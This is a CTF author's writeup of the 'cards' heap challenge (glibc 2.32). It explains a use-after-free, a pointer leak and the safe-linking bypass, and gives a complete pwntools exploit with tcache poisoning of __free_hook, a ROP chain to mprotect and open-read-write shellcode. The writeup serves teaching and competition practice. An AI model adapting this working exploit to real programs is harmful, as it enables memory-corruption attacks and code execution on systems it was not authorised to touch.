# Cards
### Posiedon ctf `cards` writeup, We organized posiedonctf this weekend and i wrote one pwn challenge.
Challenge name - `cards`
```
Solves - 9.
Cards
points-977
[heap]
I want to play cards :( . DO you ?
nc poseidonchalls.westeurope.cloudapp.azure.com 9004
Author : hk
```
```python=
"Glibc version : 2.32"
```
NOTE[] - The binary had seccomp.
Here is the seccomp rules dump generated by seccomp-tools.
![](https://i.imgur.com/IicJZ99.png)
The program uses two structures.
```c
typedef struct cardinfo{
long int size_name_card;
long int ncards;
char *name_of_card;
}CARD_INFO;
```
```c
typedef struct card{
long int cardnumber;
char color[0x8];
CARD_INFO *card;
long int iscard;
}CARD;
```
This is just a typical heap challenge with capabilities, to these operations
```c
1. Add
2. Delete
3. Edit
4. View
```
#### UAF
When we delete a card, The `iscard` member is not initialized and edit function checks for iscard, which pass the check. SO we can edit freed chunk and play around with FD and BK pointers.
![](https://i.imgur.com/lM2cIlA.png)
Here is the original source code of edit function.
### Edit
```c
void edit_name()
{
unsigned int idx;
printf("Enter the index of the card: ");
idx = return_number();
if(idx>total_cards||!mycard[idx]->iscard) {
puts("Nope");
return;
}
printf("Enter new name: ");
read(0,mycard[idx]->card->name_of_card,sizes[idx]);
puts("Edited");
}
```
We can not allocate more than 0x100 size.
### Add
Here is the source of Add function
The program uses a global variable to `total_cards` to keep count of cards to allocate. And limit is total 9 cards.
There is info leak, when it read the name, it doesn't sets the last byte to '\x00' which can be used to leak the pointers.
```c
void add()
{
unsigned int size;
if(total_cards>0x8) {
exit_error("No");
}
mycard[total_cards] = (CARD*)malloc(0x28);
mycard[total_cards]->cardnumber=total_cards;
printf("Enter size of the name of the card: ");
size=return_number();
if(size>0x100){
exit_error("I'm not sure but you are not allowed to do that");
}
mycard[total_cards]->card = (CARD_INFO *)malloc(0x28);
mycard[total_cards]->card->size_name_card = size;
mycard[total_cards]->iscard = TRUE;
mycard[total_cards]->card->name_of_card = malloc(size);
mycard[total_cards]->card->ncards = total_cards;
printf("Enter card color: ");
read(0,mycard[total_cards]->color,0x7);
printf("Enter name: ");
read(0,mycard[total_cards]->card->name_of_card,size);
printf("Done.\n");
sizes[total_cards]=size;
total_cards++;
}
```
### delete
The delete function takes index of the card and free the card. It doesn't initialize the chunk after freeing it leading to information leak.
```c
void delete()
{
unsigned int idx;
printf("Enter index of the card: ");
idx = return_number();
if(idx>total_cards||checks[idx]){
puts("No");
return;
}
free(mycard[idx]);
free(mycard[idx]->card);
free(mycard[idx]->card->name_of_card);
checks[idx]=1;
printf("Done.\n");
}
```
And the view function takes and idx and prints the chunk info.
However we can't directly overwrite the FD pointer of a freed chunk because tcache in glibc 2.32, introduces `safe-linking`.
***It's just xoring the pointers with help of aslr.
here's the article:*** https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/
However this can be bypassed with leaking heap address.
It also introduces `alignment checks.`
***here's the new tcache_put source***
```c
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
```
***tcache-get***
```c
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
```
And some new definations.
```c
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
```
This can be easily bypassed after getting the heap leak.
So my solution includes.
1. Leak heap
2. overwrite fd pointer with tcache-per-thread struct. #UAF-HERE
3. Keep an 0x100 sized chunk.
4. get allocation to tcache-per-thread struct.
5. After getting to tcache-per-thread. Change the tcache[idx] of 0x100 size to 7.
6. Free 0x100 sized chunk. -> The chunk goes into unsortedbin.
7. Use edit function to change tcache[idx] of 0x100 to 0. So it doesn't go look into tcache.
8. Allocate back and get libc leaks. since the pointers are not initialized after freeing the chunk.
9. Then add __free_hook to tcache-per-thread struct using edit function.
10. There is a other option which is not shown in menu. `Secret-name` which reads 0x40 bytes of userdata on to the stack.
11. So We send our rop-chain there to execute mprotect call on heap. By changing free hook to add_rsp + 0xd8; ret ; ROPgadget.
12. Then execute our shellcode on heap and open-read-write flag.
#### exploit
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF("./cards")
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a,env={"LD_PRELOAD":"./libc-2.32.so"}, **kw)
gdbscript = '''
continue
'''.format(**locals())
#io = start()
io = remote("poseidonchalls.westeurope.cloudapp.azure.com",9004)
#######utils
def add(size,name):
io.sendlineafter("Choice: ","1")
io.sendafter("card: ",str(size))
io.sendafter("color: ","HKHKHKH");
io.sendafter("name: ",name)
def view(idx):
io.sendlineafter("Choice: ","4")
io.sendafter("card: ",str(idx))
def remove(idx):
io.sendlineafter("Choice: ","2")
io.sendafter("card: ",str(idx))
def edit(idx,name):
io.sendlineafter("Choice: ","3")
io.sendafter("card: ",str(idx))
io.sendafter("name: ",name)
def sendrop(rop):
io.sendlineafter("Choice: ","6")
io.sendafter("name: ",rop)
def mask(heapbase,target):
return (heapbase >> 0xc) ^ target
#------------------------------------------------------
#UAF
#Glibc version 2.32 added a new check |chunk should be aligned| and free pointers gets masked.
#To bypass, this requires heap leak.
#Fast bin attack is now dead because of the alignment check.
##define PROTECT_PTR(pos, ptr) \
# ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
#------------------------------------------------------
####Addr
main_arena = 0x3b6ba0
free_hook = 0x3b8e80
mprotect = 0xf0830
####gadgets
add_rsp = 0x00077f66
pop_rdi = 0x001273dc
pop_rsi = 0x00126117
pop_rdx = 0x000c45ed
####exploit
add(0x28,"B"*0x28) #0
remove(0)
add(0x28,"A"*14+"BB") #1
view(1)
io.recvuntil("BB")
heap_base = u64(io.recvn(6)+b"\x00\x00")-0x2d0
print("Heap base: "+hex(heap_base))
add(0xd8,"HKHK")#2
add(0xd8,"HKHK")#3
remove(2)
remove(3)
target_ptr = mask(heap_base,heap_base+0x10)
edit(3,p64(target_ptr)) #uaf
add(0xd8,"/home/challenge/flag\x00")#4
add(0xf8,"HKHK")#5
add(0xd8,p64(0x0002000000000400)+p64(0x0)+p64(0x0)+p64(0x0000000700000000))#6 #set tcache-count of chunk 0x101 size to 7
remove(5) #remove chunk and get unsortedbin
edit(6,p64(0x00020000000000400)+p64(0x0)*3) #set tcache-count to back to 0
add(0x88,"AAAAAABB")#7 #leak libc now
view(7)
io.recvuntil("BB")
libc_base = u64(io.recvn(6)+b"\x00\x00")-0x3b6c90
print("Libc: "+hex(libc_base))
edit(6,p64(0x00120000000000401)+p64(0x0)*15+p64(libc_base+free_hook))
add(0x18,p64(libc_base+add_rsp))#8
shellcode = asm(f"""
xor rax, rax
mov al, 0x2
xor rsi, rsi
xor rdx, rdx
mov rdi, {heap_base+0x4d0}
syscall
mov r10, rax
xor rax, rax
mov rdi, r10
mov rsi, {heap_base+0x100}
mov rdx, 0x50
syscall
mov rax, 0x1
mov rdi, rax
syscall
mov rax, 0x3c
mov rdi, 0x1337
syscall
""")
edit(7,shellcode)
mprotect_rop = p64(libc_base+pop_rdi)+\
p64(heap_base)+\
p64(libc_base+pop_rsi)+\
p64(0x1000)+\
p64(libc_base+pop_rdx)+\
p64(0x7)+\
p64(libc_base+mprotect)+\
p64(heap_base+0x610)
sendrop(mprotect_rop)
remove(4)
io.interactive()
```
Link to the source-code and exploit: https://github.com/hkraw/posiedonctf-cards